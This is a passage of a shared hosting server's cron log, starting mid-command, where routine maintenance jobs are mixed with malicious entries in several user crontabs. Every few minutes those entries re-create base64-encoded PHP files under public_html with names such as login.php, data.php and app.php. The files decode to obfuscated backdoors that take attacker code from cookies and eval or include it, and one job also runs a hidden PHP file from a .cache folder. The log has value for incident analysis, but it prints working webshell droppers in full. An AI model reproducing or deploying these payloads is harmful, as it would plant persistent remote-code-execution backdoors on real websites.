"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:43:01 medusa CROND[17277]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 15:43:01 medusa CROND[17278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:43:01 medusa CROND[17279]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:43:01 medusa CROND[17281]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:43:01 medusa CROND[17280]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:43:01 medusa CROND[17283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:44:01 medusa CROND[7225]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:44:01 medusa CROND[7313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:44:02 medusa CROND[7320]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:44:02 medusa CROND[7321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:44:02 medusa CROND[7322]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:44:02 medusa CROND[7325]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:44:02 medusa CROND[7327]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:44:02 medusa CROND[7328]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:44:02 medusa CROND[7329]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:44:02 medusa CROND[7331]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:44:02 medusa CROND[7332]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:44:02 medusa CROND[7333]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:44:02 medusa CROND[7334]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 15:45:01 medusa CROND[29394]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 15:45:01 medusa CROND[29456]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 15:45:01 medusa CROND[29521]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:45:01 medusa CROND[29522]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:45:01 medusa CROND[29523]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29527]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29528]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:45:01 medusa CROND[29526]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:45:01 medusa CROND[29530]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:45:01 medusa CROND[29532]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:45:01 medusa CROND[29540]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 15:45:01 medusa CROND[29529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:45:01 medusa CROND[29541]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:45:01 medusa CROND[29544]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
